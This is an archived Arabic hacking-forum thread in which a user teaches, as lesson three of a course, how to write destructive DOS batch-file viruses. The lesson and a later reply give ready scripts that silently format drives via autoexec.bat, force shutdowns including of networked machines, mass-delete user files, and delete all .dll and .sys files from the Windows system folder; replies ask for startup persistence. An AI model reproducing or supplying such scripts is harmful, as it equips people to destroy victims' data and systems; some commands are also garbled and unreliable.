المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : الدرس الثالث - صناعة الفيروسات


RBG-7
29-08-2005, 02:18
بسـم الله الرحمن الرحيم

طريقة صناعة الفيروسات عن طريق الملفات الدفاعية
الدرس الثالث


المقدمة :
في الدروس السابقة قد قمت بطرح مفاهيم و شروحات لبعض منها ليس له علاقة في الدورة مثل طريقة التشفير و تغير الامتداد و الذكاء الفيروسي مع اني لم اعطي الا جزء منه ان هذا الدرس لا تحدث عن الذكاء الفيروسي لا كن نحن لا نستطيع صناعة فيروس ذكي عن طريق الملفات الدفاعية طبعاً لماذا اخواني يمكننا تطبيق خاصية الذكاء الفيروسي فقط في اللغات البرمجية و هذه التي ندرسها الان ليست لغة برمجية بتاتاً لاكنه احدى اهم مكونات نظم التشغيل الحديثة و القديمة !! و نسبة مستخدمي نظام النوافذ في العالم |382| عددهم ليس بالقليل هذه الفيروسات التي نصنعها لا تعمل الا اذ كان هناك على الحاسب نظام دوس السبب لانه قد اشرنا في الدرس الاول في قسم المقدمة في الجزء الاول ((تعريف)) انه الملفات الدفاعية هي ليست الا حزمة من اوامر نظام التشغيل الدوس ...


1- الكودات الاكثر استخداماً :
في هذه الفقرة سوف اعطيكم كودات يستخدمه اغلب مبرمجي الفيروسات

1.هذا الكود لمنع كشف المضاد على الفايروس
call attrib -h -r c:\autoexec.bat >nul
------------------------------------
2.هذا الكود للفورمات
echo format a: /q /u /autotest >nul >>c:\autoexec.bat
------------------------------------
3.هذا كود للفورمات لكن بالختصار
echo & /autotest >nul >>c:\autoexec.bat ألاولى تعنى انسخ الامر القادم الى
(طبعاً معروف من الكود الاول انة الى الاوتواكسك)
الثانية تعنى اجراء وتنفيذ الامر بدون طلب تحذير بتاع
yes and NO
لأانك عارف لما تعمل فورمات لابد ان يحذرك الاول ونحن نريد الفيرس يعمل فورمات بدون ما يحذر الضحية اذن هذا الكود هو المسئول عن هذا ويعنى ايضا ان النسخ يكون الى ملف الاوتواكسيك فى السى
------------------------------------
4.هذا كود فورمات كل الاقراص |385|
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
------------------------------------
5.هذا كود فيروس العد التنازلي و علاجه :
الكود:
echo off@
shutdown -s اذا فتحت الفايروس راح يعد تنازلي من 30 ثانية ويطلع بدون رسالة اذا كنت تريد يطلع معاه رسالة وتوقيت غير
كود:
echo off@
shutdown -s -t 30 -c "message" طبعا نغير 30 الى عدد الثوان و message الى الرسالة
اغلاق الجهاز على الشبكة
echo off@
shutdown -s -t 15 -c "message" -m \\namecomputer طبعا نغير 15 الى عدد الثوان و message الى الرسالة ونغير namecomputer الى الجهاز المراد اغلاقه
العلاج :
shutdown –a

2-مجموعة من الكودات مع الشرح (المفصل) :
اما عن هذه الفقرة سوف اقوم بأعطائكم كودات لاكن مع شرح مفصل جداً

1 - اذ اردت كتابت كود فيروسي يعمل التالي
يدخل على قرص الذي عندى الضحية ويقوم بالغاء ملف تكست |391| اسمة مثلاً اكس

ملاحظة : يمكنك وضع اى كود dos غير الفورمات على هذة القاعدة

call attrib -h -r c:\autoexec.bat >nul
echo كود دوسى >nul >>c:\autoexec.bat

والسطر الاخير يكرر ان كنت تريد اما اذا كانت العملية تتطلب الغاء رسالة تحذيرية فتكون القاعدة

call attrib -h -r c:\autoexec.bat >nul
echo كود دوسى /autotest >nul >>c:\autoexec.bat

مع تكرار السطر الاخير ان تتطلب ويمكنك وضع قاعدة مشتركة

call attrib -h -r c:\autoexec.bat >nul
echo كود دوسى /autotest >nul >>c:\autoexec.bat
echo كود دوسى >nul >>c:\autoexec.bat

يعنى نفكر كدة انا كان الكود هاعترض رسالة فى احد السطور فلابد من اضافة /autotest لتفادى الرسالة التحذيرية
------------------------------------
2 - اذ اردت كتابت كود فايروسي يعمل التالي
يدخل على قرص الذي عندى الضحية ويقوم بالغاء ملف تكست اسمة مثلاً اكس هل هذة الفكرة تعترضها رسالة تحذيرية
بالطبع لا اذن اتبع القاعدة الاولى يكون الكود كما يالي
call attrib -h -r c:\autoexec.bat >nul
echo d: >nul >>c:\autoexec.bat
echo Del x.txt >nul >>c:\autoexec.bat

التحليل
-------
call attrib -h -r c:\autoexec.bat >nul ذكرنا انفاً الان لدخول الدريف والغاء ملف اسمة اكس(تكست مثلاً) فى الدوس كنت باتكتب
c:/ press enter فيتحول المحث |373| الى d:/ للاغاء هاتكتب
d:/Del x.txt press enter اذن معنا الكود الدوسى وقد قمنا بالعملية على كام خطوة على خطوتين اذن معنا الكود وعد الخطوات ومعنا الكود الاساسى للفيرس نستنتج التالى عدد سطر الكود لابد ان يكون
اثنين + واحد (اساسى) + اى عدد لو عاوز تكمل الفيرس لشىء تانى فيكون
call attrib -h -r c:\autoexec.bat >nul
(اساسى)
echo d: >nul >>c:\autoexec.bat

(الدخول على الدريف دى)
echo Del x.txt >nul >>c:\autoexec.bat
(الغاء ملف امسة اكس تكست)

تذكر :::::
echo كود الدوس >nul >>c:\autoexec.bat
------------------------------------
3 - اذ اردت الغاء كل الملفات التي امتدادها .txt في القرص
call attrib -h -r c:\autoexec.bat >nul
echo d: >nul >>c:\autoexec.bat
echo Del *.txt >nul >>c:\autoexec.bat
------------------------------------

4 - اذ اردت الغاء كل الملفات التي امتدادها .zipفي القرص
call attrib -h -r c:\autoexec.bat >nul
echo d: >nul >>c:\autoexec.bat
echo Del *.zip >nul >>c:\autoexec.bat
------------------------------------
5 - كود يقوم بالغاء ملفات النظام |300| و تحليله :
@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys

تحليلة :
c: دخلنا على السى
cd %WinDir%\System\ دخلنا على ملف السيستم فى الوندوز
deltree /y *.dll الغاء كل ملفات الامتداد DLL. والتى هي خاص بالوندوز
cd\ خرجنا بعد تنفيذ العملية الاولى
deltree /y *.sys و الغاء كل ملفات sys. فى الوندوز

اتمنى ان يكون الدرس واضحاً و اي استفسار او سؤال انا جاهز |469|
تحــــــــــــــــــــــاتــــــــــــــــــــي

mZAJEaH
29-08-2005, 10:52
السلام عليكم

ما شاء الله عليك الشرح واضح ومفصل

انا عجبني اخر كود ;)

يعطيك العافيه وزادك الله العلم النافع ونفع بك

تحياتي لك

RBG-7
29-08-2005, 11:20
مشكور اخوي mZAJEaH على المرور الجميل

Dr.Jr7
30-08-2005, 12:29
اللـه يعطيـك آلـف عــآفيـه إخـوى Rbg-7

ومـآقصـرت وآللـه وموفق إن شـآء آللـه

:)

ملاعب الهكرز
30-08-2005, 05:03
بارك الله فيك

وتراااااااني متابع يابطـــــــل :)

RBG-7
30-08-2005, 06:33
Dr.Jr7
اهلاين بيك استاذنا الغالي و مشكور

RBG-7
30-08-2005, 06:45
ملاعب الهكرز الف هلا بيك اخوي و نورة الدرس

ahmed_atoon
30-08-2005, 01:39
[QUOTE=RBG-7][font=Tahoma]بسـم الله الرحمن الرحيم

طريقة صناعة الفيروسات عن طريق الملفات الدفاعية
الدرس الثالث

****************************

اشكرك يا اخى على هذا الدرس لكنك قلت لى بان انتظر الدرس الثالث وسوف ترفق لى الفيرس الذى اريده وقلت لى ايضا انه بعد قرائتى للدرسى الثالث يمكنى عمل الفيرس المطلوب لوحدى وبالفعل قرأت الدرس ولم اشاهد اى من ملف مرفق بالفيرس المطلوب او الكود الذى اريده وهو كيفيه وضع تاريخ محدد لتشغيل وضعيه الفيرس

RAAD
30-08-2005, 02:32
ما شاء الله

شرح واضح :)

RBG-7
30-08-2005, 03:56
السلام عليكم ...
اخوي العزيز هذا الكود كامل ما عدى كود التاريخ و انت تعرف انه لا استطيع صنع فيروس يعتمد على التاريخ عن طريق الملفات الدفاعية يعمل هذا الكود على ايقاف المضادات و فورمات C,D,E,F فقط و اذ اردت يمكنك الاضافة , و كود اعادة التشغيل اعتقد انه انت قرأت الدرس الثاني و الاول ...

@Echo Virus Format
@Echo www.3asfh.com\vb
@Echo By RBG-7
call attrib -h -r c:\autoexec.bat >nul
format c: /q /u /autotest >nul >>c:\autoexec.bat
format d: /q /u /autotest >nul >>c:\autoexec.bat
format e: /q /u /autotest >nul >>c:\autoexec.bat
format f: /q /u /autotest >nul >>c:\autoexec.bat
shutdown -s
End

اتمنى انه يكون واضح ..
تحاتي

RBG-7
30-08-2005, 03:57
مشكور استاذي العزيز رعد على المرور الجميل
تحاتي

PE4ce
30-08-2005, 04:54
السلام عليكم ورحمة الله وبركاته
ماشاء الله عليك نشيط في الدروس بارك الله فيك
انا عندي كم سؤال راح اكتبهم بعد ما اقرى الموضوع كويس تجهز نفسيا للاسئلة|268|
وعندي سؤال خارجي|6|
ليه تكتب تحاتي بدون حرف الياء|6|<<<<فضول لاأكثر
تحاتي اقصد تحيتي|268|

RBG-7
30-08-2005, 05:04
ههههههههههه
مشكور اخوي على المرور و انا بأنتظار اسئلك اما عن السؤال الخارجي ؟؟؟؟
تحاتي << للجميع
تحيتي << مو اوكي هذيك احلى ؟؟ |391|

انتظرك |383|
جااااااو

PE4ce
30-08-2005, 09:39
بسم الله الرحمن الرحيم
call attrib -h -r c:\autoexec.bat >nul
-h اخفاء -r قراءة طيب ابغاه ارشيف او ملف نظام؟ يجي
وفيه قبل nul< علامة اكبر من ليه استخدمتها
2.هذا الكود للفورمات
echo format a: /q /u /autotest >nul >>c:\autoexec.bat
/q حتى مايسأل المستخدم
/u ؟
/autotest؟
<<؟

echo off@
shutdown -s -t 30 -c "message" طبعا نغير 30 الى عدد الثوان و message الى الرسالة
اغلاق الجهاز على الشبكة
-s هل المقصود second?
-t المقصود time?
-c ?|408|

@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys
هل ينكتب في سطر واحد او مثل ماانت كاتب
بس خلاص|6|
الله يعينك |268|

RBG-7
31-08-2005, 01:09
اهلاين بيك اخوي ..

call attrib -h -r c:\autoexec.bat >nul

Call : للاتصال في ملف من نوع Bat
Attrib : هذا امر خاص بالدوس يعمل على تغير خصائص ملف
-h : اخفاء
-r : جعله فقط قراءة
c:\autoexec.bat : الملف المراد التنفيذ عليه
> nul : هذا الامر شروح في الدرس الاول و يعمل على عدم سؤال المستخدم

format a: /q /u /autotest >nul >>c:\autoexec.bat

Format : امر الفورمات
a: الامر يطبق على القرص A
/q : سريع
/u : يقوم بحذف الملفات الاساسية
/autotest : هذا الامر مهم جدا يقوم بنقل الكود المكتوب الى الملف المطلوب>nul >> : نقل من دون سؤال
c:\autoexec.bat : الملف الذي سوف يطبق به الكود
echo off@
shutdown -s -t 30 -c "message" طبعا نغير 30 الى عدد الثوان و message الى الرسالة
اغلاق الجهاز على الشبكة

@echo off : عدم استخدام الامر Echo
اخوي البعض يسأل لمذا وضع هذا الامر في بعض الاحيان يخطاء المبرمج و يكتب الامر و بعده الكود مما يأدي الى القراءة فقط دون تنفيذshutdown -s : اطفاء الحاسب
-t : الوقت
30 : ثانية
-c : اظهار رسالة
message : اكتب الرسالة التي تريد

@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys
نعم اخوي هذا كود كامل لفيروس تدمير النظام لا ينكتب في سطر واحد و السبب لانه كود كامل و ليس امر

اتمنى انه اتكون اتوضحت عندك الصورة و اي سؤال انا جاهز
تحاتي

PE4ce
31-08-2005, 02:40
السلام عليكم ورحمة الله وبركاته
الله يعطيك العافيه اخوي وضحت لي النقاط الغامضه|6|
بالنسبة للسؤال الاول انت مافهمت قصدي كنت اقصد ليه هذي العلامة > or >>
والف شكر انا عارف ذحين تسوي تسجيل خروج|268|
تحاتي:)

RBG-7
31-08-2005, 02:44
هههههههههه حلو هي
اخوي << هي على مود الانتقال الى الامر الاخر او العبور هي اشوية صعبي بس ترى اتفيد اكثير اتمنى انه اتوضحت عندك يعني مثال بسيط الك :
اذهب الى منتدى العاصفة >> تسجيل خروج
ههههههههههه

تحـــــــــاتــــــي

المبرمج نت
02-09-2005, 11:24
اللة يعطيك العافية
وتسلملي وواااضح
اخوك
المبرمج نت

RBG-7
03-09-2005, 11:03
اهلا بيك اخوي

asem9870
05-09-2005, 11:59
شكرا لك على الدرس الثالث

RBG-7
05-09-2005, 12:20
اهلا بيك اخوي تسلم عى المرور

alhzeen_iraq
08-09-2005, 02:57
سوال ولو زحمة حبي سوالي وين انخلي الكود يعني بلــــــــــــrunاشكرك سوالي ارجو الجابة علية سلام

RBG-7
08-09-2005, 03:22
اخوي راجع الدرس الاول و تفهم كل شيء

مدمن هاك
17-09-2005, 05:21
مشكوووووووووووووور أخى ..
لكن أنت ذكرت أنه لا يمكن ان يعمل الفيروس المصمم بطريقه الملفات الدفاعيه الا اذا كان يحتوى على منظومه التشغيل دوس !!!
الا ترى يا أخى أن أغلب الاجهزه تعمل على منظومه التشغيل ويندوز ؟؟

RBG-7
17-09-2005, 05:24
و الدوز لانه ما اكو وندوز من دون دوز

خالص تحاتي

دبابة
13-11-2005, 03:22
شكرا اخي على التعب

دبابة
13-11-2005, 03:25
مجهود رائع يا اخي وشكرا

RBG-7
01-12-2005, 08:14
مشكور على المرور اخوي دبابة

احمد الكاتب
18-12-2005, 05:07
السلام عليكم ورحمة الله وبركاته
ارجوا منكم اعطائي كود يعمل على وضع البرنامج في run ويعمل دائما ..في الريجستري
ارجوا الرد...

احمد الكاتب
18-12-2005, 05:09
تحية الى RBG ارجوا مراسلتي على الياهووووو
اخوك من العراااااق محتاجك.... ممكن
a3ahmed1982@yahoo.com

RBG-7
22-12-2005, 02:07
موجود الكود في الدرس الخامس اما عن المراسلة اعذرني لا استطيع الان

تحاتي

احمد الكاتب
29-12-2005, 04:44
السلام عليكم ورحمة الله وبركاته \
كوووود الاخفاااااء كم حاولت ولم ينجح.... ممكن اعرف ليش

إبن العراق
18-11-2006, 04:59
الف شكر على الشرح البديع

لورانس العرب
03-12-2006, 10:54
لوسمحت ياغالي الأكواد ذي وين احطها بالنوت باد=المفكرة ولا كيف؟؟؟؟!!
اسف اخوي السؤال مرررة غبي بس وش نسوي اخوك في الله ما عندك احد يعني فااااااااشل
لو تتكرم علي وتجاوبني
ويعطيك العافية...تحاتي لك